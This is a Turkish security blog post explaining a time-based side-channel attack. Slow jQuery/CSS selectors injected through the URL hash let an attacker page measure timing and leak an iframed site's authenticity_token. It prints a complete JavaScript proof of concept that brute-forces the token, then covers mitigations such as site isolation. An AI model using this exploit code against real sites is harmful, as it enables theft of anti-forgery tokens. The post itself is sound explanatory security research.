Dışı Seni Yakar: CSS Selectorleri ve Javascript Kullanarak Zaman Tabanlı Saldırılar ile Verileri Elde Etme

Ziyahan Albeniz - 19 Ekim 2018 -

Front-end dünyasının olmazsa olmazı CSS selectorleri ne gibi riskler doğuruyor? CSS selectorleri ile time-based ataklarına browserların "isolate origin" teknolojisi ile karşı koymam mümkün mü? Bu yazımızda front-end dünyasını bekleyen tehlikelerden en önemlerini anlattık.

Dışı Seni Yakar: CSS Selectorleri ve Javascript Kullanarak Zaman Tabanlı Saldırılar ile Verileri Elde Etme

jQuery Ağustos 2006'da ilk sürümü yayınlanan, “daha az kod, daha çok iş (write less, do more)” sloganı ile gönülleri fetheden bir Javascript kütüphanesi.

jQuery sayesinde Javascript yazımı eskisinden daha kolay. Eleman seçicileri, zincirleme olay çağrımları, olay yönetiminin kolay hale gelmesi yazılım geliştiricilerin daha ilk günden JQuery'nin cazibesine kapılmalarına neden oldu. O gün bugündür ışığın etrafındaki pervaneler gibi istemci taraflı her yeni kütüphanenin JQuery'e temas ettiğini, de-facto olarak Jquery bağımlılığı taşıdığını söyleyebiliriz.

Bu yazımızın konusu JQuery eleman seçicileri ve bunu bir saldırı vektörü olarak kullanarak nasıl veri elde edebileceğimiz.

Peşinen söylemekte fayda var. Aynı yöntem document.querySelector ve CSS seçicileri ile de mümkün. Fakat yazımıza kaynaklı eden araştırmada PoC jQuery ile hazırlandığı için jQuery seçicilerine dair ayrıntıları paylaşmak istiyoruz.

JQuery seçicilerini kullanarak bir ya da daha fazla HTML elemanını, sınıflarına, idlerine, attribute değerlerine, eleman indexlerine atıfta bulunarak çağırabilirsiniz.

Örneğin aşağıdaki JQuery seçicisi ile eleman id'si username olan elemanı seçebilirsiniz:

$("#username")

ya da

jQuery("#username)

Aynı şekilde eleman seçerken id yerine, seçmek istediğiniz elemanların class değerlerini de kullanabilirsiniz. Aşağıdaki kod formItem classına sahip tüm elemanları seçecektir:

$(".formItem")

ya da

jQuery(".formItem")

jQuery ile eleman attribute'lerini kullanarak seçim yapabilmek de mümkün. Örneğin type'ları password olan tüm inputları seçelim.

jQuery("input[type='password']")

jQuery'nin sunduğu olanaklardan biri de birden fazla seçiciyi bir arada kullanmanıza imkân vermesi.

Örneğin type'ı text olan, class'ı formElement olan tüm elemanları seçmek için aşağıdaki gibi bir seçici kullanabiliriz:

jQuery(".formElement[type='text']")

jQuery aynı zamanda attribute seçicileri olarak startWith, contains operatörleri ile seçim yapma imkânı da sunmaktadır.

Örneğin input[value^='x'] seçicisi value'su x ile başlayan tüm inputları seçecektir.

jQuery(location.hash)

Yukarıdaki kod gözünüze çok masum görünüyor değil mi?

Daha önce Haftanın Hackleri'nde analiz ettiğimiz gibi URL farklı bileşenlerden oluşan ve webdeki bir kaynağa işaret eden harikulade bir formül. Diyebiliriz ki Einstein'ın ünlü e=mc2 formülü kadar kıymetli.

URL, yani Uniform Resource Locator, web'in en önemli, temel bileşenlerinden biri. Talep ettiğimiz kaynak nereden ve nasıl talep edilecek, hangi yetkilerle talep edilecek URL'ler vasıtası ile bildirebiliyoruz.

URL'in unsurlarından biri olan fragment kısmı yani hash (#) işaretinden sonra gelen kısım da sayfanın hash'den sonra gelen değeri ID olarak taşıyan HTML elemanına scroll yapılmasını sağlayan bir özelliğe sahip.

https://www.example.com/#contactForm

Yukarıdaki URL'e istek yapıldığında fragment kısmındaki değerin ID attribute'üne eşit olduğu elemana scroll yapılacaktır.

Birden fazla jQuery selectorünü aynı anda kullanabileceğimizi yukarıda belirtmiş idik.

Şimdi seçiciler ile ilgili bugüne kadar muhtemelen başka bir yerde rastlamadığınız küçük bir trick paylaşacağız.

Aşağıdaki kodu tarayıcınızın developer tool bar'ını açarak çalıştırmayı denediğinizde, işlemin kısa bir gecikme ile neticelendiğini göreceksiniz. Developer Toolbar'ı açmak için CTRL+SHIFT+I ya da F12 tuşlarını kullanabilirsiniz.

$("*:has(*:has(*:has(*)) *:has(*:has(*:has(*))) *:has(*:has(*:has(*)))) body")

Şimdi ise aşağıdaki kodu çalıştırmanızı istiyoruz:

$("*:has(*:has(*:has(*)) *:has(*:has(*:has(*))) *:has(*:has(*:has(*)))) body[noAttribute='noExist']")

Sayfada noAttribute attribute'ü noExist olan bir body elemanı olmadığı için komut zaman harcamadan sonuçlanacaktır.

Peki ne oldu da ilk komutun çalışması zaman alırken ikinci komut aniden sonuçlandı.

İşte burada selector'ler ile ilgili trick devreye giriyor. Eleman seçicilerinin soldan sağa değil, sağdan sola doğru yorumlanması. Yani noAttribute attribute'ü noExist olan bir body elemanı olmadığı için selector geri kalan kısmı yorumlamaksızın sonlandırıldı.

Peki browserlar neden böyle davranıyor?

CSS Tricks web sitesinin başka bir kaynaktan (Stack Overflow) alıntıladığı pasaj ile yanıt verecek olursak:

"... in the situation the browser is looking at most of the selectors it's considering don't match the element in question. So the problem becomes one of deciding that a selector doesn't match as fast as possible; if that requires a bit of extra work in the cases that do match you still win due to all the work you save in the cases that don't match."

$("* input .formItem")

Tarayıcının seçici komutunu çalıştırmak için DOM'daki tüm eleman koleksiyonunu dolaştığını düşünelim. Soldan sağa başladığı takdirde tüm elemanların input olup olmadığına bakacak, sonrasında bu kalan elemanların formItem classını içerip içermediğini kontrol etmek zorunda kalacak.

Fakat sağ-dan sola karşılaştırma işleminin yapıldığı geçerli yöntemde ise tüm eleman koleksiyonundaki elemanlardan sadece formItem classına sahip olanları alacak, sonra bunlar içerisinden input tipinde olanları seçecek.

Nihai olarak eleman seçicisinde belirleyen son selector olduğu için, sağdan sola bir karşılaştırma işlemi çok hızlı sonuç alınmasını sağlayacaktır.

Buradan hareketle yani zaman tabanlı saldırıların temel mantığını kullanarak web sayfalarından data elde etmek mümkün mü?

Elbette!

Daha önce Haftanın Hackleri'nde Boolean Based bir yöntemle saldırganın yine CSS selectorlerini kullanarak, kendi kontrolündeki bir sunucuya istek yaparak data çıkardığı örneği görmüş idik. Bu atak tipinde elemanın  background / background-image, list-style / list-style-image veya cursor CSS attributelerini destekleyen bir eleman olma zarureti vardı. Fakat bu hafta anlattığımız yöntemin en önemli artısı böyle bir kısıtı olmaması.

Bu yeni saldırı yönteminde bir sitenin authentication token'ını elde etmek için aşağıdaki gibi bir kod kullanabiliriz örneğin:

*:has(:has(:has(*)) :has(*) :has(*)) 
input[name=authenticity_token][value^='x'])

Saldırımız zaman tabanlı (Time Based) bir saldırı olduğu için ölçümü nasıl gerçekleştireceğiz?

Bu noktada araştırmacının imdadına Eduardo Vela tarafından 2014 yılında yazılan bir blog post yetişiyor.

Araştırmaya ilham veren Eduardo Vela'nın parlak fikri kısaca şöyle özetlenebilir: Saldırgan ve kurbana ait sitelerin aynı thread'de çalıştığı koşullarda, kurbana ait olan sitenin uzun süren yükleme işlemi saldırgan sitesindeki bir işlemi geciktirecek ve böylece saldırgan geçen süreyi ölçebilecektir.

İşte exploitin ayrıntıları:

Saldırgan, kurbanın sitesini bir iframe içerisinde yükler. Attacker setTimeout fonksiyonu ile sonradan çalışacak bir fonksiyon belirler. (callback) kurbanın sitesine de hash selector'ü ile bir çağrı yapar. Hashchange handlerinin sonuçlanması zaman alacağından callback'in çalışması gecikecek ve bu gecikme window.performance.now fonksiyonu ile ölçülebilecektir.

<script>
const WAIT_TIME = 6;
const VICTIM_URL = "https://labs.sheddow.xyz/fsf.html";

const wait = ms => new Promise(resolve => setTimeout(resolve, ms));

function get_execution_time(selector) {
	var t0 = window.performance.now();

	var p = wait(WAIT_TIME).then(_ => Promise.resolve(measure_time(t0)))

	window.frames[0].location = VICTIM_URL + "#x," + encodeURIComponent(selector) + ","+Math.random();

	return p;
}

function measure_time(t0) {
	var t = window.performance.now() - t0;
	return t;
}


const SLOW_SELECTOR = "*:has(*:has(*) *:has(*) *:has(*) *:has(*))";
const SELECTOR_TEMPLATE = "input[name=authenticity_token][value^='{}']";

async function binary_search(prefix, characters) {
	console.log("Testing '" + characters + "'");
	if (characters.length == 1) {
		return characters[0];
	}

	var mid = Math.floor(characters.length/2);
	var s1 = make_selector(prefix, characters.slice(0, mid));
	var s2 = make_selector(prefix, characters.slice(mid, characters.length));

	var t1 = await get_execution_time(s1);
	var t2 = await get_execution_time(s2);

	if (approximately_equal(t1, t2)) {
		return null;
	}
	else if (t1 < t2) {
		return binary_search(prefix, characters.slice(mid, characters.length));
	}
	else {
		return binary_search(prefix, characters.slice(0, mid));
	}
}

function make_selector(prefix, characters) {
	return characters
		.split("")
		.map(c => SLOW_SELECTOR + " " + SELECTOR_TEMPLATE.replace("{}", prefix + c))
		.join(",");
}

function approximately_equal(t1, t2) {
	var diff = Math.abs(t1 - t2);
	return diff <= 0.2*t1 || diff <= 0.2*t2;
}

const BASE64_CHARS = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/";
const TOKEN_LENGTH = 43;

async function bruteforce_token() {
	var backtracks = 0;
	var t0 = window.performance.now();
	var misses = 0;
	var token = "";
	while (token.length < TOKEN_LENGTH) {
		var c = await binary_search(token, BASE64_CHARS);
		if (c === null) {
			misses++;
			if (misses == 3) {
				token = token.slice(0, -1); // Backtrack
                backtracks++;
            }
        }
        else {
            token += c;
            misses = 0;
        }
        document.getElementById("token").innerHTML = token;
        document.getElementById("percent").innerHTML = Math.round(100*token.length/TOKEN_LENGTH) + "%";
    }
    token += "=";
    document.getElementById("token").innerHTML = token;
    var elapsed = window.performance.now() - t0;
    return {token, elapsed, backtracks};
}

    window.onload = function() {
        if (location.search === "?attack") {
            bruteforce_token().then(({token, elapsed, backtracks}) => {
                wait(0).then(_ => alert("Found " + token + " in " + elapsed/1000 + " seconds with " + backtracks + " backtracks"));
            });
        }
    }
</script>


<body>
    <iframe src="https://labs.sheddow.xyz/fsf.html"></iframe>
    <div class="box" id="token"></div>
    <div class="box" id="percent"></div>
</body>

Bunun önüne geçebilmek mümkün mü?

Yukarıdaki saldırıda iframe kullanıldı, dolayısıyla X-Frame-Options headerını set ederek, sitenin iframe içerisinde yüklenmesini dolayısıyla da muhtemel bir saldırı engellemiş olurum diyenler. Maalesef bu kesin bir çözüm değil. Zira saldırgan window.open ile de aynı işlemi yaparak callback'in çalışmasını geciktirebilir.

Yukarıda kritik bir noktaya değindik. Şayet saldırgan sitesi ve kurbana ait site aynı thread üzerinde çalışıyorsa siteler arası yükleme işleminden hareketle bir timing saldırısı yapılabileceğinden söz ettik.

Peki siteler farklı threadlerde çalışırlarsa? Evet o takdirde bu yöntemin exploitini engelleyebilirsiniz. Yani site izolasyonunu kullanarak.

Site izolasyonu, Chrome 63 ile gelen yeni bir özellik. Bu özelliğe göre, farklı bir sekmede, aynı sekmede, ya da bir iframe içerisinde yükleniyor olmasına bakılmaksızın, farklı origindeki sitelerin ayrı processler olarak çalıştırıldığı bir ekstra güvenlik mekanizması.

Birkaç önemli husus…

Chrome 63 ve üzeri tarayıcılarda site izolasyonunu varsayılan olarak kapalı durumda. Aktifleştirmek isterseniz, Chrome tarayıcı üzerinden chrome://flags/#enable-site-per-process adresine girmeniz ve site izolasyonunu etkinleştirmeniz gerekiyor. Bu değişiklikten hemen sonra tarayıcınızı yeniden başlatmalısınız. Site izolasyonunu sadece belirli originler için etkinleştirebilmek de mümkün. Bunun için Chrome başlatılırken aşağıdaki parametre kullanılabilir:

--isolate-origins=https://google.com,https://youtube.com

Site izolasyon özelliği hakkında, üreticinin de haberdar olduğu buglar şu şekilde özetlenebilir:

  • Tüm siteler için izolasyon devreye alındığında, yüzde 10-20 arası bir ekstra yükten söz etmiştik. Sadece belirli sitelerin izole processler olarak çalışması sağlanarak bu rakam daha düşük bir seviyeye getirilebilir.
  • HTML web sayfalarının yazıcı çıktılarında, farklı originlerin yüklendiği iframeler boş olarak gözüküyor.
  • Bazı durumlarda, farklı origindeki sitelerin yüklendiği iframelerde tıklama ve sayfa kaydırma işlemleri beklendiği gibi çalışmıyor.

Site izolasyon mekanizması hakkında ayrıntılı bilgi için lütfen tıklayınız.

Araştırmanın ayrıntıları ve PoC 'u için lütfen tıklayınız.